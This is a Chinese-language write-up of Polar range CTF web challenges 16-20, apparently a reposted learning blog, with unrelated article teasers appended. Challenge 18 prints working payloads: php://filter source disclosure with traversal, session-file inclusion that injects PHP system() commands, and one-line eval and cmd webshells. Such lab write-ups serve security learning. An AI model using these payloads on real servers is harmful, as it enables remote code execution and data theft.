【WEB】Polar靶場 16-20題 詳細筆記

目錄

十六.簽到題

十七.簽到

十八.session文件包含

PHP 偽協議(PHP Stream Wrappers)

base64加解密獲取源代碼

Session文件包含

name=

name=

Shell 是什么?

十九.Don't touch me

二十.robots

robots.txt?


十六.簽到題

didi=no改成didi=yes?

得到一串字符串

Li9kYXRhL2luZGV4LnBocA

base64在線解碼網站解碼得到./data/index.php

訪問/data/index.php得到

?/data/index.php?file=php://filter/convert.base64-encode/resource=..././..././..././..././flag

base64解碼

flag{92eb5ffee6ae2fec3ad71c777531578f}

十七.簽到

發現有個按鈕按不了

F12(右鍵點擊檢查),把disabled="disabled" 刪除,回車

隨便提交個東西試試

這時候彈出一個彈窗告訴我們提交?ilovejljcxy 就能得到flag了
但是提交的時候發現只能輸入就個字母

查看源代碼

?長度限制maxlength="9"?對用戶的輸入進行了限制,用戶最多只能輸入 9 個字符

把9改成11以上就行

輸入后再次提交,彈出flag

flag{fa3f77dd58a0a8f990bb6292da75618f}

十八.session文件包含

我覺得這題老難了?

先隨便輸入一個1,然后submit看看

先看知識點

PHP 偽協議(PHP Stream Wrappers)

是 PHP 提供的一組特殊協議前綴,允許通過類似 URL 的方式訪問和操作不同類型的資源(如文件、數據流、網絡等)。它們無需額外安裝,直接內置于 PHP 中,常用于簡化對非傳統文件系統的操作。

示例:使用?php://filter?讀取文件并編碼

假設我們有一個文件?secrets.txt,內容如下:

# secrets.txt
數據庫密碼:123456
API 密鑰:abcdefghijklmnopqrstuvwxyz

需求:讀取該文件內容,并以 Base64 編碼形式輸出。

方法 1:傳統方式(需手動編碼)

<?php
// 讀取文件內容
$content = file_get_contents('secrets.txt');
// 手動 Base64 編碼
$encoded = base64_encode($content);
echo $encoded;
?>

方法 2:使用偽協議(自動編碼)

<?php
// 使用 php://filter 偽協議直接獲取編碼后的內容
$encoded = file_get_contents('php://filter/convert.base64-encode/resource=secrets.txt');
echo $encoded;
?>

解碼驗證

將上述 Base64 字符串復制到?Base64 解碼器,得到原始內容:

# secrets.txt數據庫密碼:123456
API 密鑰:abcdefghijklmnopqrstuvwxyz

為什么要用base64加密再解密嘞?

看下面知識點:


base64加解密獲取源代碼

php://filter/convert.base64-encode/resource=目標文件路徑


在利用 PHP 偽協議讀取文件時,使用 Base64 編碼而非直接讀取的主要原因是繞過 PHP 解釋器對代碼的執行,并確保文件內容完整傳輸。

以下是詳細示例:

1. 直接讀取的問題:PHP 會執行代碼

假設?action.php?包含以下內容:

<?php
// action.php
echo "Hello from PHP!";
$password = "secret123";
?>

如果直接通過文件包含漏洞讀取(例如??file=action.php),PHP 解釋器會執行代碼而非返回源碼:

  • 輸出結果Hello from PHP!
  • 源碼丟失$password = "secret123";?等代碼不會顯示,攻擊者無法獲取敏感信息。

2. Base64 編碼的作用:獲取完整源碼

使用?php://filter/convert.base64-encode?后:

  • 輸出結果
    PD9waHANCg8Ly8gYWN0aW9uLnBocA0KZWNobyAiSGVsbG8gZnJvbSBIUEgiOw0KJHBhc3N3b3JkID0gInNlY3JldDEyMyI7DQo/Pg==
    
  • 解碼后
    <?php
    // action.php
    echo "Hello from PHP!";
    $password = "secret123";
    ?>
    

核心原理
Base64 編碼將 PHP 代碼(如?<?php ... ?>)轉換為純文本字符串,PHP 解釋器會將其視為普通文本而非可執行代碼,從而完整保留源碼內容。

?所以我們用php偽協議查看action.php的源代碼

訪問??/action.php?file=php://filter/convert.base64-encode/resource=action.php

得到源碼


PD9waHANCnNlc3Npb25fc3RhcnQoKTsNCmVycm9yX3JlcG9ydGluZygwKTsNCiRuYW1lID0gJF9QT1NUWyduYW1lJ107DQppZigkbmFtZSl7DQoJJF9TRVNTSU9OWyJ1c2VybmFtZSJdID0gJG5hbWU7DQp9DQppbmNsdWRlKCRfR0VUWydmaWxlJ10pOw0KPz4NCjwhRE9DVFlQRSBodG1sPg0KPGh0bWw+DQo8aGVhZD4NCjwvaGVhZD4NCjxib2R5Pg0KPGEgaHJlZj1hY3Rpb24ucGhwP2ZpbGU9MS50eHQ+bXkgZGFpcnk8L2E+DQo8YSBocmVmPWFjdGlvbi5waHA/ZmlsZT0yLnR4dD5teSBib29rbGlzdDwvYT4NCjwvYm9keT4NCjwvaHRtbD4=

Base64 編碼/解碼 - 錘子在線工具解碼查看源代碼

<?php
session_start();
error_reporting(0);
$name = $_POST['name'];
if($name){$_SESSION["username"] = $name;
}
include($_GET['file']);
?>
<!DOCTYPE html>
<html>
<head>
</head>
<body>
<a href=action.php?file=1.txt>my dairy</a>
<a href=action.php?file=2.txt>my booklist</a>
</body>
</html>

開始分析源代碼

這段 PHP 代碼實現了一個簡單的會話管理和文件包含功能。當用戶通過 POST 方法提交表單時,腳本會將用戶名存入會話變量$_SESSION["username"]中。頁面提供了兩個鏈接,分別指向1.txt2.txt文件,用戶點擊后,腳本會通過include語句動態加載并執行 URL 參數file指定的文件內容。然而,該代碼存在嚴重的安全隱患,因未過濾file參數存在目錄遍歷 / 遠程文件包含漏洞,且未處理name參數導致 PHP 代碼注入攻擊

知識點

Session文件包含

是一種常見的安全漏洞,它允許攻擊者通過包含惡意代碼的Session文件來執行代碼。

利用Session文件包含的條件

要利用Session文件包含漏洞,需要滿足兩個條件:

  1. Session文件的內容可控,即攻擊者可以通過某種方式將惡意代碼寫入Session文件中。

  2. 能夠獲取Session文件的路徑,這樣才能通過文件包含函數來執行Session文件中的代碼。

條件1可以通過name實現,條件2這題只能靠猜

在默認配置下,PHP 的 session 文件存儲位置通常存放在?/tmp?目錄,文件名格式為?sess_<sessionid>

?<sessionid>可以在cookie里看

因此直接訪問

/action.php/?file=/tmp/sess_khhpgb61isvcak15o84n6e8sl7

哎哎,有反應,進入session文件了

接下來有2個方法拿到flag


?方法一:PHP 代碼注入攻擊

用post請求發送? ?name=<?php system('ls');?>? (沒反應的話多點幾次Execute刷新一下)

沒看到flag文件,加個/進入根目錄查看

/:根目錄,表示整個文件系統的頂層。

name=<?php system('ls /');?>

這時看到了flaggggg文件,查看該文件

name=<?php system('sort /flaggggg ');?>
name=<?php system('cat /flaggggg ');?>
name=<?php system('tac /flaggggg ');?>

?參數解析:

1.?sort?命令的作用

sort?是 Linux/Unix 系統中的命令,用于對文本內容進行排序并輸出結果。常見用法:

  • 對文件內容按行排序:sort filename
  • 去重并排序:sort -u filename
  • 逆序排序:sort -r filename

2./flaggggg?指根目錄下名為?flaggggg?的文件。

這時就有個問題了:為什么要進入session文件后再用PHP 代碼注入攻擊

要理解為什么需要進入 session 文件后才能使用name=<?php system('ls /');?>,需要結合session 文件的特性文件包含漏洞的利用邏輯,具體原因如下:

1.?name=<?php ... ?>?是向 session 文件寫入代碼的操作

name=<?php system('ls /');?>?本質是通過 HTTP 請求(通常是 POST/GET)向服務器的session 文件中寫入一段 PHP 代碼(這里是執行系統命令的system('ls /'))。

  • 當用戶在頁面輸入name參數并提交時,服務器會將該參數的值存儲到當前用戶的 session 文件中(session 文件的命名規則為sess_+sessionid,如sess_khhpgb61isvcak15o84n6e8sl7)。
  • 這段代碼本身不會直接執行,而是作為字符串被暫時存儲在 session 文件中。

2. session 文件是代碼執行的 "載體"

要讓<?php system('ls /');?>這段代碼生效(即執行ls /命令),需要通過文件包含漏洞讓服務器解析并執行 session 文件中的內容。

  • 漏洞場景中,服務器存在?file=xxx形式的文件包含漏洞(如[web]session文件包含考點),即通過file參數可以讓服務器讀取并解析指定文件中的 PHP 代碼。
  • 但服務器不會主動解析任意文件,只有當通過?file=session文件路徑(如?file=/tmp/sess_iicon09s8aj9rhenj3rn6lhqj2)指定包含 session 文件時,服務器才會讀取該文件內容,并將其中的 PHP 代碼(即之前寫入的system('ls /'))當作腳本執行。

3. 不進入 session 文件則無法觸發代碼執行

如果不通過文件包含漏洞 "進入"(即包含)session 文件,那么:

  • 寫入的<?php system('ls /');?>只是 session 文件中存儲的一段普通字符串,不會被服務器解析為 PHP 代碼,自然無法執行命令。
  • 只有當利用文件包含漏洞指定加載該 session 文件(即?file=session文件路徑),服務器才會將文件內容作為 PHP 腳本處理,此時其中的system('ls /')才會被執行。

總結

name=<?php system('ls /');?>的作用是向 session 文件寫入可執行的 PHP 代碼,而必須 "進入"(包含)session 文件,才能讓服務器解析這段代碼并執行命令。二者結合利用了session 的存儲機制文件包含漏洞的解析特性,最終實現命令執行。

方法二 :傳木馬連蟻劍

關于session文件包含,指的是有時Web系統會把我們的一些變量寫入session文件,我們可以借此機制將PHP木馬寫入PHP文件中,然后使用文件包含來包含該session文件,以此獲取目標系統的shell權限。
這種攻擊方式的好處在于,可以利用保存在session中的數據;這種攻擊方式的前提在于我們可以準確的找到session文件的存儲目錄。

發送POST請求(多點幾次Execute刷新一下)

name=<?php @eval($_POST['a']);?>?

蟻劍連接shell?

知識點

Shell 是什么?

Shell?是一種允許用戶與操作系統交互的程序,也指攻擊者通過漏洞獲得的遠程執行權限。在滲透測試中,通常分為兩種:

  • WebShell
    攻擊者上傳到目標服務器的腳本文件(如 PHP、ASPX、JSP),通過 HTTP 請求執行系統命令。
    示例(PHP WebShell)

    <?php system($_GET['cmd']); ?>  // 接收URL參數cmd并執行系統命令
    

    ?

    訪問方式:http://target.com/shell.php?cmd=ls

  • 反彈 Shell
    目標服務器主動連接攻擊者的主機,建立交互式命令行會話(如 Linux 的?bash、Windows 的?cmd)。

連接成功,尋找flag

?

flag{43306e8113f53ece238c0a124432ce19}

十九.Don't touch me

這題也很簡單

方法一:
F12(右鍵查看源碼)可以看到:

訪問/2.php

可以看到這有個按鈕,卻點不了

F12(右鍵檢查),把disabled="disabled"都刪了,回車,點擊按鈕

可以看到最后有fla.php,訪問/fla.php,得到flag

方法二:

直接用目錄掃描工具掃出來

flag{0cee5a97f12b172ceeea2e9f67b7413e}


二十.robots

這題非常簡單?

robots.txt?

是一個位于網站根目錄下的純文本文件,用于告訴搜索引擎爬蟲(如 Googlebot、百度蜘蛛等)哪些頁面可以抓取,哪些頁面不應該抓取,是網站與搜索引擎之間的 “協議”。

直接訪問/robots.txt就行

發現有個文件/fl0g.php,訪問得到flag

flag{2f37589152daf6f111b232ef4aea1304}

?Day6:

今天練了一個靶機,對于我這個新手小白來說還是挺難的,看講解視頻都看了老半天

累了......還有一題明天再寫

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/913636.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/913636.shtml
英文地址,請注明出處:http://en.pswp.cn/news/913636.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

數據結構*搜索樹

什么是搜索樹 搜索樹是一種樹形數據結構&#xff0c;用于高效地存儲和檢索數據。其核心特點是每個節點包含一個鍵&#xff08;Key&#xff09;&#xff0c;并遵循特定的排序規則。常見的搜索樹有二叉搜索樹、自平衡二叉樹、多叉搜索樹等。AVL樹、紅黑樹、Splay樹都屬于自平衡二…

語音交互新紀元:Hugging Face LeRobot如何讓機器人真正“懂你”

機器人之言&#xff1a;早在2024年&#xff0c;Hugging Face正式進軍真實世界機器人應用領域&#xff0c;推出了開源機器人項目LeRobot。LeRobot不僅僅是一個模型庫&#xff0c;它是一個完整的機器人學習平臺&#xff0c;融合了模仿學習、強化學習、數據可視化以及仿真環境。其…

搭建個人博客系列--MySql

前期提要&#xff1a;搭建個人博客系列--docker-CSDN博客 目前已經擁有了docker所以只需要將MySql安裝在docker上即可。 一、在docker安裝mysql docker pull mysql 二、查詢docker內的mysql鏡像 三、啟動msql docker run -d -p 33060:3306 -v /home/mysql/conf:/mysql/conf.d…

【Spring】Spring Boot + OAuth2 + JWT + Gateway的完整落地方案,包含認證流程設計

Spring Boot OAuth2 JWT Gateway的完整落地方案&#xff0c;包含認證流程設計網關在服務中的使用一、整體架構設計二、核心組件實現1. OAuth2認證服務器&#xff08;auth-service&#xff09;2. JWT自定義增強&#xff08;存儲用戶信息&#xff09;三、Gateway全局攔截&…

第一個小程序

一、前言隨著移動互聯網的發展&#xff0c;用戶對“即用即走”的輕量級應用需求日益增長&#xff0c;而傳統 App 在下載安裝、更新維護等方面存在一定的門檻。小程序應運而生&#xff0c;它是一種無需下載即可使用的應用程序形態。本文將帶你完成人生中第一個微信小程序的開發全…

【辦公類-54-07】20250901 2025學年第一學期班級點名冊模版(雙休國定假涂成灰色、修改標題和頁眉,批量導出PDF)

背景需求: 制作了校歷單后,第二個要制作的就是點名冊(灰色版) 【辦公類-54-03】20240828班級點名冊模版(雙休國定假涂成灰色)2024學年第一學期_姓名周一到周五的點名冊怎么畫-CSDN博客文章瀏覽閱讀2.1k次,點贊24次,收藏4次。【辦公類-54-03】20240828班級點名冊模版(…

iOS App首次啟動請求異常調試:一次冷啟動鏈路抓包與初始化流程修復

在一次 iOS App 大版本更新后&#xff0c;部分用戶反饋首次打開 App 時會出現“無法連接服務器”的提示&#xff0c;需要重啟 App 才能正常使用。而后續使用過程中接口調用都正常。服務器端并未記錄請求到達&#xff0c;日志中只有 sporadic&#xff08;零星&#xff09;斷連記…

【Linux網絡篇】:網絡中的其他重要協議或技術——DNS,ICMP協議,NAT技術等

?感謝您閱讀本篇文章&#xff0c;文章內容是個人學習筆記的整理&#xff0c;如果哪里有誤的話還請您指正噢? ? 個人主頁&#xff1a;余輝zmh–CSDN博客 ? 文章所屬專欄&#xff1a;Linux篇–CSDN博客 文章目錄其他重要協議或技術1.DNS2.ICMP協議3.NAT技術4.代理服務器其他重…

HarmonyOS學習4 --- 創建一個頁面

1、聲明式UI語法Entry Component struct My_page {State isLogin: boolean falsebuild() {Row() {Image(this.isLogin ? $r(app.media.icon_leon) : $r(app.media.icon)).height(60).width(60).onClick(() > {this.isLogin !this.isLogin})Text(this.isLogin ? $r(app.s…

【Java EE】Spring MVC 的使用

1. 路由映射&#xff1a;RequestMapping&#xff1a;當用戶訪問某個 URL 時&#xff0c;該注解會根據 URL 的路徑映射到具體的程序中對應的類或方法&#xff08;路由映射&#xff09;。修飾方法時&#xff0c;路徑為類路徑 方法路徑。默認情況下同時支持 GET 和 POST&#xff…

pip 安裝默認切換到國內鏡像(清華園,阿里云等)

國內Python包鏡像地址如下&#xff1a; 清華&#xff1a;https://pypi.tuna.tsinghua.edu.cn/simple/阿里云&#xff1a;https://mirrors.aliyun.com/pypi/simple/中國科技大學&#xff1a;https://pypi.mirrors.ustc.edu.cn/simple/華為云&#xff1a;https://repo.huaweiclou…

AI agent 學習

參考&#xff1a; AI搜索DeepResearch&#xff1f;_大模型 deepsearch 深度搜索-CSDN博客 Agent是以大語言模型為大腦驅動的系統&#xff0c;具備自主理解、感知、規劃、記憶和使用工具的能力&#xff0c;能夠自動化執行和完成復雜任務。 自主性和自適應&#xff0c;是判斷一款…

【PTA數據結構 | C語言版】求單鏈表list中的元素個數,即表長

本專欄持續輸出數據結構題目集&#xff0c;歡迎訂閱。 文章目錄題目代碼題目 請編寫程序&#xff0c;將 n 個整數順次插入一個初始為空的單鏈表的表頭。最后輸出單鏈表的表長。 本題旨在訓練學習者熟悉單鏈表的基本操作&#xff0c;不建議直接輸出 n。 輸入格式&#xff1a;…

玩轉Docker | 使用Docker部署HomeBox家庭庫存管理工具

玩轉Docker | 使用Docker部署HomeBox家庭庫存管理工具 前言一、HomeBox介紹Homebox簡介主要特點主要使用場景二、系統要求環境要求環境檢查Docker版本檢查檢查操作系統版本三、部署HomeBox服務下載HomeBox鏡像編輯部署文件創建容器檢查容器狀態檢查服務端口安全設置四、訪問Hom…

QT中的常用控件-QWidget的enable屬性

QT中的常用控件-QWidget的enable屬性 enable描述了一個控件是否處于“可用”狀態 與之相對應的概念是“禁用”&#xff0c;禁用是該控件不能接受任何用戶的輸入事件&#xff0c;并且外觀上往往是灰色的 如果一個Widget被禁用&#xff0c;則該Widget的子元素也被禁用API說明IsEn…

【數據結構】復雜度分析

目錄 一、算法 1.基本概念 2.描述方法 3.算法效率 二、算法的時間復雜度 三、算法的空間復雜度 一、算法 1.基本概念 通俗的講&#xff0c;算法是解決問題的方法&#xff0c;比如在現實生活中一道菜譜&#xff0c;一個安裝輪椅的操作指南等。 嚴格的說&#xff0c;算法…

推薦系統基礎 --ShusenWang

學習b站up主的ShusenWang的推薦系統筆記 指標 任何系統/算法/模型都需要評估&#xff0c;對于推薦系統的指標有消費指標和北極星指標&#xff0c;消費指標是衡量用戶對產品的使用情況&#xff0c;使用頻率廣度和深度&#xff0c;用于了解用戶的使用習慣&#xff0c;北極星指標是…

linux wsl2 docker 鏡像復用快速方法

GitHub項目中的devcontainer.json、Dockerfile構建了一個A項目的鏡像環境&#xff0c;現在我有一個文件夾&#xff0c;文件夾中只有一個b.py文件&#xff0c;此時我希望使用A項目的環境&#xff0c;如何實現&#xff1f;注意&#xff1a; 建議使用下面的方法2 解決方案&#xf…

(生活比喻-圖文并茂)http2.0和http3.0的隊頭阻塞,http2.0應用層解決,TCP層存在,3.0就是徹底解決,到底怎么理解區別???

說明一下&#xff1a; http屬于應用層協議&#xff0c;TCP和udp屬于傳輸層協議 文章目錄階段一&#xff1a;HTTP/1.1 的情況&#xff08;單車道收費站&#xff0c;一次過一輛&#xff09;階段二&#xff1a;HTTP/2 的情況&#xff08;多車道收費站&#xff0c;但出口只有一條路…

ARM環境openEuler2203sp4上部署19c單機問題-持續更新

問題01、報錯如下orcl:/home/oracledb15> export CV_ASSUME_DISTIDRHEL8 orcl:/home/oracledb15> $ORACLE_HOME/runInstaller -applyPSU /soft/37642901 Exception in thread "main" java.lang.UnsatisfiedLinkError: /u01/app/oracle/product/19.0.0/db_1/oui…